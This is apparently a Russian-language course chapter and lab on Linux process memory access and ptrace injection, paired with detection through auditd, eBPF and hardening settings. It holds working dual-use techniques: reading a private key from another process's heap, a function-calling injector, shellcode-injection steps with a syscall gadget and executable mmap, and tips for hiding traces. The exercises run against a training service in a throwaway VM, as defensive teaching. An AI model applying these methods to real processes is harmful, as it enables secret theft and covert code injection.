process_madvise (ядро 5.10) позволяет дать ядру совет относительно памяти другого процесса — например, MADV_DONTNEED, после которого страница будет выгружена и при следующем обращении заполнится нулями. Это не чтение, а порча: приём используется, чтобы стереть следы или вызвать сбой в нужном месте. mremap с MREMAP_DONTUNMAP — способ переместить отображение, не теряя его.

Оба вызова требуют тех же прав, что и ptrace, но оставляют другие записи в аудите и не меняют TracerPid.

Сводка: что где видно

Таблица объясняет, почему «мы поставили правило на ptrace» — недостаточная защита. Из шести интерфейсов только один меняет TracerPid, и только два оставляют записи, которые видны без специального правила. Остальные требуют явного наблюдения на уровне сисколлов — то есть auditd с фильтром по номеру или eBPF-программы на sys_enter_*.

Отсюда и практический вывод для темы: обнаружение строится не вокруг инструмента, а вокруг списка интерфейсов. Инструменты меняются, номера сисколлов остаются.

Обнаружение и защита

auditd

ptrace — системный вызов, и его можно аудировать:

# /etc/audit/rules.d/ptrace.rules
-a always,exit -F arch=b64 -S ptrace -k ptrace_use
-w /proc/sys/kernel/yama/ptrace_scope -p wa -k ptrace_policy
-a always,exit -F arch=b64 -S process_vm_readv -k vm_read
-a always,exit -F arch=b64 -S process_vm_writev -k vm_write

События:

sudo ausearch -k ptrace_use -i --start today | tail -20
sudo ausearch -k vm_read -i --start today | tail -20

Настройка Yama и права администратора описаны в руководстве по администрированию ⁷. Правило на ptrace даёт много шума: отладчики, strace, gdb, системы сборки. Поэтому смотрят не на сам факт, а на сочетание: ptrace от процесса, который не является отладчиком, к процессу, который не является его потомком, в нерабочее время.

eBPF

Трассировка на уровне ядра видит sys_enter_ptrace и sys_enter_process_vm_readv независимо от того, как программа вызвала их — через libc или напрямую. Пример на bpftrace:

tracepoint:syscalls:sys_enter_ptrace
{
    printf("ptrace pid=%d comm=%s request=%d target=%d\n",
           pid, comm, args->request, args->pid);
}

Такой трейсер видит и gdb, и самодельный инжектор, и strace. Скрыть вызов от него можно только на уровне ядра — тем и занимается тема 8.

Что видно в логах

События auditd выглядят так (пример для strace, который использует ptrace):

type=SYSCALL msg=audit(1760800000.123:456): arch=c000003e syscall=101 success=yes exit=0
  a0=10 a1=0 a2=0 a3=0 items=0 ppid=1234 pid=5678 auid=1000 uid=1000 gid=1000
  euid=1000 comm="strace" exe="/usr/bin/strace" key="ptrace_use"

Поля читаются так: syscall=101 — номер ptrace на x86_64; a0 — первый аргумент, номер запроса, записанный в hex: a0=10 означает 0x10, то есть 16 — PTRACE_ATTACH; comm и exe — кто вызвал; key — метка правила. Для PTRACE_SEIZE в a0 будет 4206 (это 0x4206), для PTRACE_GETREGS — c (12).

Трассировка eBPF даёт более компактный и наглядный поток:

ptrace pid=5678 comm=strace request=16 target=4321
ptrace pid=5678 comm=strace request=4 target=4321

Первый вызов — PTRACE_ATTACH (request=16), второй — PTRACE_GETREGS (request=12). Главное — видно пару «кто» и «кого», чего достаточно для расследования.

Настройки, которые ломают приём

• ptrace_scope=2 — подключение только с CAP_SYS_PTRACE; обычный пользователь не отладит даже свой процесс без sudo.
• ptrace_scope=3 — полный запрет до перезагрузки.
• PR_SET_DUMPABLE=0 — процесс не дампится, /proc/<pid>/mem недоступен.
• seccomp-фильтр — запрет ptrace для процесса и его потомков.
• mlock + MADV_DONTDUMP — чувствительные страницы не попадают в дамп и не выгружаются.
• hidepid=2 — чужие /proc/<pid> не видны, значит, не видно и maps.
• SELinux/AppArmor — профиль может запретить ptrace и чтение /proc/<pid>/mem даже при наличии прав.

Матрица «приём — признак — контрмера»

Итоги темы

Память процесса — это ещё один интерфейс видимости, наряду с procfs и netlink. Она доступна через /proc/<pid>/mem, process_vm_readv и ptrace, и каждый из этих путей проверяет права по-своему. ptrace даёт не только чтение, но и управление: можно остановить процесс, подменить регистры, вызвать функцию и восстановить состояние так, что процесс продолжит работу.

Границы приёма задаются не столько техникой, сколько политикой: Yama, seccomp, PR_SET_DUMPABLE, hidepid, профили SELinux. В типичной Ubuntu ptrace_scope=1 уже блокирует подключение к чужому процессу, а ptrace_scope=2 делает его доступным только администратору.

Обнаружение строится на трёх источниках: TracerPid в /proc, события auditd и трассировка eBPF. Первый виден самому процессу, второй — системе, третий — ядру. Скрыть ptrace от всех трёх можно только изменением ядра, и это уже тема 8.

Стоит запомнить главное число этой темы: интерфейсов доступа к чужой памяти шесть, а TracerPid меняет только один. Отсюда следует, что обнаружение нельзя строить вокруг инструмента — только вокруг списка интерфейсов, который нужно перечислить целиком и закрыть каждый. ptrace (101), process_vm_readv (310), process_vm_writev (311), pidfd_getfd (438), process_madvise (440), userfaultfd (323) — шесть номеров, шесть правил аудита или шесть eBPF-точек. Защитник, поставивший одно правило на ptrace, закрывает шестую часть поверхности и не знает об этом.

Второе, что стоит унести: инъекция ломается не на ptrace, а на деталях вокруг него. W^X превращает запись шелл-кода в появление подозрительного rwx-региона; многопоточность превращает одиночный PTRACE_ATTACH в гонку; выравнивание стека превращает вызов функции в падение внутри libc. Каждая из этих деталей — отдельный признак для защитника и отдельная ошибка для атакующего.

Третье: обратимость обманчива. Регистры восстанавливаются, detach возвращает процесс к работе, но maps помнит выделенный регион, аудит помнит подключение, а TracerPid помнит сам процесс. Инъекция — не «невидимое вмешательство», а вмешательство с последствиями, которые просто нужно уметь прочитать.

Следующая тема собирает весь курс в одну операцию: разведка, закрепление, эскалация, персистентность, сокрытие и эксфильтрация — с матрицей обнаружения на каждом шаге.

Литература

1. The Linux man-pages project. — https://man7.org/linux/man-pages/
2. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
3. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
4. Linux Kernel Documentation. — https://docs.kernel.org/
5. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
6. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.
7. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.

Дополнительные материалы

Вопросы для самопроверки

1. Что описывает vm_area_struct и почему карта памяти состоит из областей, а не из одного диапазона?
2. Какие поля /proc/<pid>/maps несут смысл при поиске ключей и почему?
3. Почему чтение /proc/<pid>/mem начинается с pread или lseek, а не с read?
4. Что проверяет ядро при открытии /proc/<pid>/mem и какие флаги влияют на запись?
5. Чем process_vm_readv удобнее чтения через /proc/<pid>/mem и в чём его ограничение?
6. Какие четыре уровня ptrace_scope и что происходит при попытке подключиться на каждом?
7. Что делает PR_SET_PTRACER_ANY и почему это ослабляет защиту?
8. Чем PTRACE_ATTACH отличается от PTRACE_SEIZE по влиянию на процесс?
9. Почему после PTRACE_ATTACH нужен waitpid и какой флаг обязателен для потоков?
10. Что хранится в orig_rax и почему его сбрасывают перед подменой rip?
11. Почему на входе в функцию rsp % 16 должен быть равен 8?
12. Как вычислить адрес функции в PIE-бинарнике и почему нельзя брать базу из сегмента r.xp?
13. Что попадает в core-дамп и как ограничить его размер?
14. Какие источники показывают, что процесс трассируется, и почему их нельзя обойти из user space?
15. Что делает seccomp с вызовом ptrace и как это выглядит для трассировщика?
16. Почему mlock и MADV_DONTDUMP уменьшают ценность дампа?
17. Чем опасна инъекция в многопоточный процесс и как её делают корректно?
18. Почему TracerPid виден самому процессу и как он может на это реагировать?

Глоссарий темы

Шпаргалка

Карта памяти

cat /proc/<pid>/maps
grep -E 'rw-p' /proc/<pid>/maps | grep -v '\.so'
cat /proc/<pid>/smaps_rollup
grep -A5 '\[heap\]' /proc/<pid>/smaps

Чтение памяти

python3 dump_inspect.py <pid>

int fd = open("/proc/1234/mem", O_RDONLY);
pread(fd, buf, len, addr);

struct iovec local  = { buf, len };
struct iovec remote = { addr, len };
process_vm_readv(pid, &local, 1, &remote, 1, 0);

ptrace

ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, NULL, 0);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
ptrace(PTRACE_POKETEXT, pid, addr, word);
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_CONT, pid, NULL, NULL);
ptrace(PTRACE_DETACH, pid, NULL, NULL);

Yama

cat /proc/sys/kernel/yama/ptrace_scope
echo 2 | sudo tee /proc/sys/kernel/yama/ptrace_scope

Дампы

gdb -p <pid> -batch -ex 'gcore /tmp/core' -ex 'detach'
readelf -l /tmp/core | head
strings -n 8 /tmp/core | grep -i 'BEGIN'
gdb ./binary /tmp/core -batch -ex 'bt'

Типичные ошибки

Эксперимент: что подтвердилось на практике

Теория проверяется запуском. Ниже — сводка измерений, которые можно повторить на любой машине с ptrace_scope = 1 и обычной учётной записью.

Из этой таблицы следуют три вывода, которые полезно держать в голове.

Первый: разные интерфейсы дают разные коды ошибок на одну и ту же причину. EACCES от файла и EPERM от ptrace — не два разных запрета, а две точки проверки одного правила. Если в журнале вы видите один код, не делайте вывод, что сработало что-то другое.

Второй: доступ «к потомку» — это не послабление, а модель. Yama уровня 1 разрешает отладку того, что вы запустили сами, и запрещает всё остальное. Именно поэтому gdb ./program работает без root, а gdb -p <чужой pid> — нет.

Третий: TracerPid меняется у жертвы, а не у трассировщика. Это значит, что факт подключения виден изнутри процесса, и программа может на него отреагировать — замереть, сменить поведение, выйти. Так работают приёмы анти-отладки, и так же работает честная самодиагностика службы.

Как это выглядит для защитника: три сценария

Сценарий первый: короткое подключение. Злоумышленник подключился, прочитал ключ и отключился за две секунды. TracerPid в момент снимка — ноль, maps не изменился. Единственный след — запись в auditd, если правило настроено. Вывод: без аудита такое подключение не обнаруживается вообще, и это главный аргумент за правило на ptrace.

Сценарий второй: инъекция с mmap. Появляется анонимный исполняемый регион в maps. Он остаётся и после detach, потому что munmap никто не вызывал. Обнаружение: сравнение maps с baseline или поиск rwx-регионов. Вывод: инъекция оставляет материальный след в адресном пространстве, и его видно без всякой магии.

Сценарий третий: чтение без ptrace. Программа использует process_vm_readv к своему потомку — например, для отладки или сбора телеметрии. TracerPid не меняется, ptrace не вызывается, auditd-правило на ptrace молчит. Обнаружение: правило на process_vm_readv (сисколл 310 на x86_64) или eBPF-точка на sys_enter_process_vm_readv. Вывод: обнаружение должно покрывать все интерфейсы, а не только самый известный.

Отсюда общее правило: защитник перечисляет интерфейсы доступа к памяти (/proc/<pid>/mem, process_vm_readv, process_vm_writev, ptrace, pidfd_getfd, userfaultfd) и ставит наблюдение на каждый. Список короткий, и его отсутствие — самая частая причина «мы ничего не видели».

Что почитать и посмотреть

• man 2 ptrace, man 2 process_vm_readv, man 5 proc, man 5 core — сигнатуры, поля, ограничения.
• man 2 prctl — PR_SET_PTRACER, PR_SET_DUMPABLE, PR_SET_NAME.
• man 1 gdb, документация GDB. — https://sourceware.org/gdb/documentation/ — call, gcore, batch-режим.
• Linux Kernel Documentation. — https://docs.kernel.org/ — разделы о mm, proc, ptrace, Yama.
• Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010. — системные вызовы, память, сигналы.
• Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005. — mm_struct, vm_area_struct, управление памятью.
• MITRE ATT&CK: T1055 Process Injection, T1005 Data from Local System. — https://attack.mitre.org/ — классификация.
• NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006. — работа с дампами и копиями.

Углубление

Как ядро проверяет доступ к чужой памяти

Открытие /proc/<pid>/mem проходит через proc_mem_open, который вызывает mm_access(task, PTRACE_MODE_ATTACH_FSCREDS). Внутри проверяется несколько условий: совпадение uid, наличие CAP_SYS_PTRACE, уровень Yama, флаг dumpable и профиль LSM. Если проверка не прошла, open вернёт EACCES или EPERM, а не пустой файл.

Запись идёт через mem_rw, который использует access_remote_vm с флагом FOLL_FORCE. Этот флаг позволяет обойти проверку прав на страницу и записать в copy-on-write страницу, не меняя файл на диске. Именно поэтому можно патчить код процесса, не трогая бинарник, и именно поэтому FOLL_FORCE считается потенциально опасным.

seccomp и ptrace

Фильтр seccomp может запретить ptrace для процесса и его потомков. Проверка выполняется до входа в обработчик вызова: если фильтр вернул SECCOMP_RET_ERRNO, вызов завершится ошибкой; если SECCOMP_RET_KILL, процесс будет убит. Для трассировщика это выглядит как обычная ошибка EPERM или как завершение процесса.

Снять такой фильтр нельзя: он наследуется через execve и не снимается. Поэтому процесс, который запустил себя под seccomp, защищён от ptrace до завершения.

Почему TracerPid — не абсолютный признак

TracerPid показывает трассировщика, но не говорит, кто он и зачем. Штатный strace, gdb, система сборки и профилировщик — все оставляют ненулевой TracerPid. Поэтому обнаружение строится на сочетании: кто трассирует, кого, в какое время, совпадает ли это с ожидаемой активностью.

Обратное тоже верно: отсутствие TracerPid не означает, что вмешательства не было. Инъекция через PTRACE_SEIZE без остановки, патч через /proc/<pid>/mem и загрузка модуля ядра не оставляют TracerPid вовсе. Именно поэтому нужны auditd и eBPF.

Дампы и их ограничения

Core-дамп содержит только те области, которые разрешены coredump_filter и не помечены MADV_DONTDUMP. По умолчанию исключаются разделяемые анонимные страницы и страницы, помеченные как недампящиеся. Поэтому чувствительные данные, которые программа правильно пометила, в дамп не попадут — и это ровно то, чего хочет защитник.

С другой стороны, дамп — снимок на момент падения, а не на момент работы. Ключ, который был в памяти час назад, в дампе может отсутствовать. Для поиска нужен либо живой процесс, либо дамп, снятый в нужный момент.

Лабораторная работа 9. Душа агента

• Раздел курса: апокриф 9 «Дампы памяти и Ptrace-инъекции»

Введение

Работа состоит из восьми частей и идёт от наблюдения к управлению. Сначала читатель разбирает карту памяти живого процесса, находит в ней кучу и анонимные отображения, проверяет, как ASLR меняет адреса между запусками. Затем читает память учебного сервиса через /proc/<pid>/mem и находит в куче заранее известную строку — модель приватного ключа.

Следующая часть — Yama. Читатель проверяет текущий уровень ptrace_scope, убеждается, что подключение к чужому процессу запрещено, и видит, как PR_SET_PTRACER разрешает отладку конкретному процессу. После этого — gdb: вызов функции в чужом процессе, снятие дампа, разбор карты памяти. Затем собственный инжектор на ptrace, который делает то же самое без gdb: подключается, сохраняет регистры, вызывает функцию, ставит точку останова и корректно возвращает управление.

Завершается работа обнаружением: TracerPid, auditd, трассировка eBPF и уборка. Продвинутая часть — инъекция шелл-кода через mmap в чужом процессе — описывает шаги и даёт каркас, но требует аккуратности: ошибка в выравнивании стека или в адресе базы приводит к SIGSEGV в целевой процесс.

Все базовые части выполняются от обычного пользователя на собственной машине. Учебный сервис специально разрешает отладку через PR_SET_PTRACER_ANY, иначе при ptrace_scope=1 подключение было бы запрещено. Команды с sudo и правка /proc/sys/kernel/yama/ptrace_scope выполняются только в одноразовой виртуальной машине.

Цель работы

После выполнения работы получится:

• читать /proc/<pid>/maps и объяснять назначение каждой области;
• показывать, как ASLR меняет базу исполняемого файла между запусками;
• читать чужую память через /proc/<pid>/mem с корректным pread;
• находить строку в куче по шаблону и объяснять, почему поиск идёт по rw-p-областям;
• проверять уровень Yama и объяснять, почему подключение к чужому процессу запрещено;
• вызывать функцию в чужом процессе через gdb и через собственный инжектор;
• снимать дамп и находить в нём строки без доступа к процессу;
• обнаруживать ptrace по TracerPid, auditd и трассировке eBPF.

Теоретический минимум

Нужны разделы «Адресное пространство процесса», «Чтение памяти», «ptrace: полный набор» и «Обнаружение и защита» темы 9. Дополнительно используются темы 4 (права), 5 (процессы и сигналы), 6 (файлы и дескрипторы) и 11 (systemd) основной программы.

Перечень оснащения

Ubuntu 24.04 LTS или WSL2, пакеты build-essential, gdb, binutils, procps, strace, auditd (по желанию), bpftrace (по желанию). Архив окружения lr-env содержит учебный сервис target_service.c, сборщик Makefile, инжектор injector.c, скрипт чтения памяти dump_inspect.py, сценарий gdb inject_test.gdb и проверку Yama check_yama.sh. Распакуйте архив в ~/lab-apocrypha-09.

sudo apt update && sudo apt install -y build-essential gdb binutils procps strace

Порядок выполнения работы

Работайте в каталоге ~/lab-apocrypha-09. Для каждой части в «Журнале работы» фиксируйте: что ожидалось, что получилось, чем объясняется расхождение. Все опыты — только со своим учебным сервисом; подключение к чужим процессам на чужой машине не рассматривается.

Подготовка

cd ~/lab-apocrypha-09
make
./target_service > /tmp/target.log 2>&1 &
echo $! > /tmp/target.pid
cat /tmp/target.log

Сервис печатает свой PID и адрес ключа в куче. Запишите PID: он понадобится во всех частях.

Маршрут работы

Десять частей складываются в одну линию: от наблюдения к вмешательству и обратно к наблюдению.

Части 1–5 обязательные, 6–9 дают полную картину, часть 6 отмечена как продвинутая.

Частые ошибки при работе с ptrace

Часть 1. Карта памяти и ASLR

Задание

1. Прочитайте карту памяти сервиса:

   pid=$(cat /tmp/target.pid)
   cat /proc/$pid/maps
   

2. Найдите в ней:

   • сегменты самого бинарника (путь target_service);
   • область [heap];
   • область [stack];
   • отображения libc.so.6;
   • анонимные области rw-p без пути.

3. Запустите второй экземпляр сервиса и сравните базы:

   ./target_service > /tmp/target2.log 2>&1 &
   echo $! > /tmp/target2.pid
   head -1 /proc/$(cat /tmp/target.pid)/maps
   head -1 /proc/$(cat /tmp/target2.pid)/maps
   

4. Объясните, почему адреса разные и что это меняет для поиска функции по адресу.

5. Посмотрите детали кучи:

   grep -A5 '\[heap\]' /proc/$pid/smaps | head -10
   

Что должно получиться

Список областей с назначением каждой, две разные базы у двух запусков, объяснение роли ASLR. В журнале — вывод head -1 maps для обоих процессов.

Продвинутая часть

Запустите сервис с отключённым ASLR и сравните базы:

setarch "$(uname -m)" -R ./target_service > /tmp/target3.log 2>&1 &
echo $! > /tmp/target3.pid
head -1 /proc/$(cat /tmp/target3.pid)/maps
head -1 /proc/$(cat /tmp/target.pid)/maps

Объясните, почему адрес стал предсказуемым и почему это опасно. Проверьте, что setarch -R действует только на запущенный процесс, а не на систему.

Часть 2. Чтение памяти

Задание

1. Найдите ключ в куче скриптом из окружения:

   python3 dump_inspect.py "$(cat /tmp/target.pid)"
   

2. Прочитайте ту же область вручную. Адрес возьмите из вывода сервиса (Ключ сессии загружен в кучу по адресу: …):

   pid=$(cat /tmp/target.pid)
   addr=0x...   # адрес из лога
   python3 - <<PY
   import os
   pid = $pid
   addr = int("$addr", 16)
   with open(f"/proc/{pid}/mem", "rb", 0) as f:
       f.seek(addr)
       print(f.read(200).decode("utf-8", "replace"))
   PY
   

3. Объясните, почему чтение через read без seek вернуло бы ошибку.

4. Проверьте, что при неверном адресе (например, 0) чтение возвращает EIO, а не мусор:

   python3 - <<PY
   pid = $pid
   try:
       with open(f"/proc/{pid}/mem", "rb", 0) as f:
           print(f.read(16))
   except OSError as e:
       print("ошибка:", e)
   PY
   

5. Проверьте границу: попробуйте прочитать память процесса, который вам не потомок. Запустите любой долгоживущий процесс и обратитесь к его памяти:

   sleep 300 &
   SPID=$!
   head -c 16 /proc/$SPID/mem
   

   head: невозможно открыть '/proc/6/mem' для чтения: Отказано в доступе
   

   Затем то же самое через ptrace:

   python3 - <<PY
   import ctypes, os
   libc = ctypes.CDLL("libc.so.6", use_errno=True)
   r = libc.ptrace(16, $SPID, None, None)   # PTRACE_ATTACH = 16
   print(r, os.strerror(ctypes.get_errno()) if r < 0 else "ok")
   PY
   

   -1 Operation not permitted
   

   Запишите оба кода ошибки и объясните, почему они разные: файл отказывает при open (EACCES), ptrace — при запросе (EPERM). Причина одна — проверка PTRACE_MODE_ATTACH, точка проверки разная.

6. Убедитесь, что для собственного потомка доступ работает. Небольшая программа, которая форкает ребёнка и читает его память двумя способами:

   #define _GNU_SOURCE
   #include <stdio.h>
   #include <string.h>
   #include <unistd.h>
   #include <sys/uio.h>
   #include <sys/wait.h>
   #include <fcntl.h>
   
   int main(void)
   {
       char secret[64] = "TOKEN-ABC-123";
       pid_t pid = fork();
       if (pid == 0) { pause(); _exit(0); }
       sleep(1);
   
       char buf[64] = {0};
       struct iovec local  = { buf, sizeof buf };
       struct iovec remote = { secret, sizeof buf };
       ssize_t n = process_vm_readv(pid, &local, 1, &remote, 1, 0);
       printf("process_vm_readv: %zd -> \"%s\"\n", n, buf);
   
       char path[64];
       snprintf(path, sizeof path, "/proc/%d/mem", pid);
       int fd = open(path, O_RDONLY);
       memset(buf, 0, sizeof buf);
       ssize_t m = pread(fd, buf, sizeof buf, (off_t)(unsigned long)secret);
       printf("/proc/pid/mem pread: %zd -> \"%s\"\n", m, buf);
       close(fd);
   
       kill(pid, SIGKILL);
       waitpid(pid, NULL, 0);
       return 0;
   }
   

   process_vm_readv: 64 -> "TOKEN-ABC-123"
   /proc/pid/mem pread: 64 -> "TOKEN-ABC-123"
   

   Оба интерфейса вернули одно и то же. Обратите внимание: адрес secret — это адрес в пространстве ребёнка, и он совпадает с родительским только потому, что после fork образ один и тот же. В общем случае адрес берут из /proc/<pid>/maps.

Что должно получиться

Найденная строка -----BEGIN PRIVATE KEY----- в куче, объяснение seek/pread, обработка ошибки на нулевом адресе. В журнале — фрагмент вывода и объяснение, почему область rw-p без файла — правильное место поиска.

Продвинутая часть

Напишите вторую программу, которая читает ту же область через process_vm_readv, и сравните результат с чтением через /proc/<pid>/mem:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/uio.h>

int main(int argc, char **argv) {
    if (argc != 4) return 2;
    int pid = atoi(argv[1]);
    void *addr = (void *)strtoull(argv[2], NULL, 0);
    size_t len = strtoull(argv[3], NULL, 0);
    char *buf = malloc(len);
    struct iovec local = { buf, len };
    struct iovec remote = { addr, len };
    ssize_t n = process_vm_readv(pid, &local, 1, &remote, 1, 0);
    if (n < 0) { perror("process_vm_readv"); return 1; }
    fwrite(buf, 1, (size_t)n, stdout);
    return 0;
}

Объясните, почему результат совпадает, и в каком случае process_vm_readv вернёт EFAULT вместо данных.

Часть 3. Yama и PR_SET_PTRACER

Задание

1. Проверьте текущий уровень:

   bash check_yama.sh
   cat /proc/sys/kernel/yama/ptrace_scope
   

2. Попробуйте подключиться gdb к процессу, который не разрешал отладку:

   sleep 300 &
   spid=$!
   gdb -p $spid -batch -ex 'info registers rip' 2>&1 | head -5
   kill $spid
   

3. Подключитесь к учебному сервису, который вызывает PR_SET_PTRACER_ANY:

   gdb -p "$(cat /tmp/target.pid)" -batch -ex 'info registers rip rsp' 2>&1 | head -8
   

4. Объясните разницу и найдите в target_service.c строку с prctl.

5. Посмотрите TracerPid во время подключения:

   gdb -p "$(cat /tmp/target.pid)" -batch -ex 'shell sleep 2' -ex 'detach' &
   sleep 1
   grep TracerPid /proc/$(cat /tmp/target.pid)/status
   wait
   

Что должно получиться

ptrace_scope=1, Operation not permitted для sleep, успешное подключение к сервису, TracerPid ненулевой во время отладки. В журнале — объяснение, что именно разрешает PR_SET_PTRACER_ANY.

Продвинутая часть

В одноразовой ВМ измените уровень и повторите опыт:

echo 2 | sudo tee /proc/sys/kernel/yama/ptrace_scope
gdb -p "$(cat /tmp/target.pid)" -batch -ex 'info registers rip' 2>&1 | head -3
sudo gdb -p "$(cat /tmp/target.pid)" -batch -ex 'info registers rip' 2>&1 | head -3
echo 1 | sudo tee /proc/sys/kernel/yama/ptrace_scope

Объясните, почему без sudo подключение запрещено, а с sudo — разрешено, и что именно проверяет ядро в этом режиме. Верните исходное значение.

Часть 4. gdb: вызов функции и дамп

Задание

1. Посмотрите адрес функции в бинарнике:

   nm target_service | grep emergency_diagnostic
   readelf -s target_service | grep emergency_diagnostic
   

2. Вызовите функцию через gdb и проверьте лог сервиса:

   gdb -p "$(cat /tmp/target.pid)" -x inject_test.gdb --batch
   tail -5 /tmp/target.log
   

3. Снимите дамп и найдите в нём строку:

   gdb -p "$(cat /tmp/target.pid)" -batch -ex 'gcore /tmp/target.core' -ex 'detach'
   ls -lh /tmp/target.core
   strings -n 8 /tmp/target.core | grep -i 'BEGIN PRIVATE' | head
   

4. Разберите дамп без процесса:

   gdb ./target_service /tmp/target.core -batch -ex 'info proc mappings' -ex 'bt' | head -20
   

5. Объясните, что попало в дамп, а что нет, и как на это влияет coredump_filter.

Что должно получиться

Сообщение функции в логе сервиса, файл дампа, найденная строка, карта памяти из дампа. В журнале — объяснение разницы между чтением живого процесса и разбором дампа.

Продвинутая часть

Снимите два дампа с разными настройками coredump_filter и сравните размеры:

cat /proc/$(cat /tmp/target.pid)/coredump_filter
gdb -p "$(cat /tmp/target.pid)" -batch -ex 'gcore /tmp/core-a' -ex 'detach'
gdb -p "$(cat /tmp/target.pid)" -batch -ex 'set coredump-filter 0x3f' -ex 'gcore /tmp/core-b' -ex 'detach'
ls -lh /tmp/core-a /tmp/core-b

Объясните, какие биты маски включают какие области и почему дамп с большим числом битов содержит больше данных. Проверьте, есть ли в каждом из дампов найденная ранее строка.

Часть 5. Свой инжектор

Задание

1. Соберите инжектор:

   make injector
   

2. Вычислите адрес функции с учётом базы:

   pid=$(cat /tmp/target.pid)
   base=$(awk '$6 ~ /target_service$/ {print $1; exit}' /proc/$pid/maps | cut -d- -f1)
   sym=$(nm target_service | awk '$3=="emergency_diagnostic"{print $1}')
   addr=$(printf '0x%x' $((0x$base + 0x$sym)))
   echo "base=$base sym=$sym addr=$addr"
   

3. Запустите инжектор и проверьте лог:

   ./injector "$pid" "$addr"
   tail -5 /tmp/target.log
   

4. Объясните три детали, без которых инжектор не работает: адрес базы, выравнивание стека, orig_rax = -1.

5. Проверьте, что процесс продолжил работу после инъекции: он должен остаться жив и спать дальше.

Что должно получиться

Сообщение функции в логе, код возврата 0, живой процесс. В журнале — объяснение каждого шага инжектора и того, что произойдёт при ошибке в базе (адрес на 0x1000 больше — SIGSEGV).

Продвинутая часть

Добавьте в инжектор передачу аргумента: запишите значение в rdi перед PTRACE_SETREGS и вызовите функцию, которая этот аргумент использует. Затем измените инжектор так, чтобы он вызывал write(2, addr, len) напрямую — с адресом строки в куче сервиса, которую вы нашли в части 2. Проверьте, что строка появилась в stdout сервиса.

Объясните, почему вызов write из чужого процесса требует корректного rdi, rsi, rdx и адреса возврата, и что произойдёт, если забыть про один из регистров.

Часть 6. Инъекция шелл-кода (продвинутая)

Задание

Часть необязательна и выполняется только в одноразовой виртуальной машине.

1. Опишите шаги инъекции шелл-кода: PTRACE_ATTACH, сохранение регистров, поиск гаджета syscall; ret в libc, вызов mmap через PTRACE_SETREGS и PTRACE_CONT, запись кода через PTRACE_POKETEXT, передача управления, PTRACE_DETACH.

2. Найдите гаджет в libc:

   pid=$(cat /tmp/target.pid)
   libc=$(awk '/libc\.so/ && $2 ~ /r.xp/ {print $1; exit}' /proc/$pid/maps | cut -d- -f1)
   echo "libc rx base: $libc"
   

3. Соберите каркас: функция, которая подключается, читает регистры, находит syscall; ret, вызывает mmap с PROT_READ|PROT_WRITE|PROT_EXEC и печатает возвращённый адрес.

4. Объясните, почему PROT_EXEC в анонимном отображении может быть запрещён политикой (W^X, selinux, seccomp) и как это проверить.

5. Перечислите, что нужно восстановить после инъекции, чтобы процесс не заметил вмешательства.

Что должно получиться

Каркас инжектора с mmap, найденный адрес гаджета, список шагов восстановления. В журнале — объяснение рисков: SIGSEGV, повреждение кучи, гонка с другими потоками.

Часть 7. Обнаружение

Задание

1. Проверьте TracerPid и Seccomp:

   pid=$(cat /tmp/target.pid)
   grep -E 'TracerPid|Seccomp|Dumpable|CapEff' /proc/$pid/status
   

2. Включите аудит ptrace (нужен sudo, только в ВМ):

   sudo tee /etc/audit/rules.d/ptrace-lab.rules >/dev/null <<'EOF'
   -a always,exit -F arch=b64 -S ptrace -k ptrace_lab
   -a always,exit -F arch=b64 -S process_vm_readv -k vm_read_lab
   EOF
   sudo augenrules --load
   ./injector "$pid" "$(printf '0x%x' $((0x$(awk '$6 ~ /target_service$/ {print $1; exit}' /proc/$pid/maps | cut -d- -f1) + 0x$(nm target_service | awk '$3=="emergency_diagnostic"{print $1}'))))" || true
   sudo ausearch -k ptrace_lab -i --start recent | tail -10
   

3. Посмотрите трассировку eBPF, если установлен bpftrace:

   sudo bpftrace -e 'tracepoint:syscalls:sys_enter_ptrace { printf("ptrace %s -> %d\n", comm, args->pid); }' &
   sleep 1
   ./injector "$pid" 0x1 2>/dev/null || true
   sleep 1
   sudo pkill bpftrace
   

4. Составьте таблицу: приём — источник обнаружения — команда.

Что должно получиться

Записи ausearch с ключом ptrace_lab, строка трассировки eBPF, заполненная таблица. В журнале — объяснение, почему скрыть ptrace от ядра нельзя.

Продвинутая часть

Напишите скрипт bpftrace, который считает число вызовов ptrace по имени процесса и печатает топ при завершении:

tracepoint:syscalls:sys_enter_ptrace
{
    @calls[comm] = count();
}
interval:s:10
{
    print(@calls);
    clear(@calls);
}

Запустите его на 20 секунд, выполните несколько подключений и объясните, почему такой счётчик видит и gdb, и самодельный инжектор, и strace. Оцените накладные расходы: сколько событий в секунду даёт обычная работа системы.

Часть 8. Многопоточная цель и PTRACE_SEIZE

Задание

1. Соберите многопоточную жертву — программу с четырьмя потоками, которые спят в цикле:

#define _GNU_SOURCE
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>

static void *worker(void *arg)
{
    (void)arg;
    for (;;) pause();
    return NULL;
}

int main(void)
{
    pthread_t th[4];
    for (int i = 0; i < 4; i++)
        pthread_create(&th[i], NULL, worker, NULL);
    printf("tid=%d, потоков: 4\n", getpid());
    fflush(stdout);
    for (;;) pause();
}

gcc -O1 -pthread -o build/multithread multithread.c
./build/multithread &

2. Посмотрите на потоки со стороны:

ls /proc/<PID>/task
grep -E 'State|TracerPid' /proc/<PID>/task/*/status

Запишите, сколько tid и в каком состоянии каждый.

3. Подключитесь только к главному потоку обычным PTRACE_ATTACH и посмотрите, что произошло с остальными:

grep -E 'State' /proc/<PID>/task/*/status

Один поток окажется в состоянии t (tracing stop), остальные продолжат работать. Это и есть ловушка: процесс «остановлен» только частично.

4. Теперь подключитесь правильно — PTRACE_SEIZE на каждый tid, затем PTRACE_INTERRUPT:

#include <sys/ptrace.h>
#include <dirent.h>
#include <stdio.h>

/* для каждого tid из /proc/<pid>/task: */
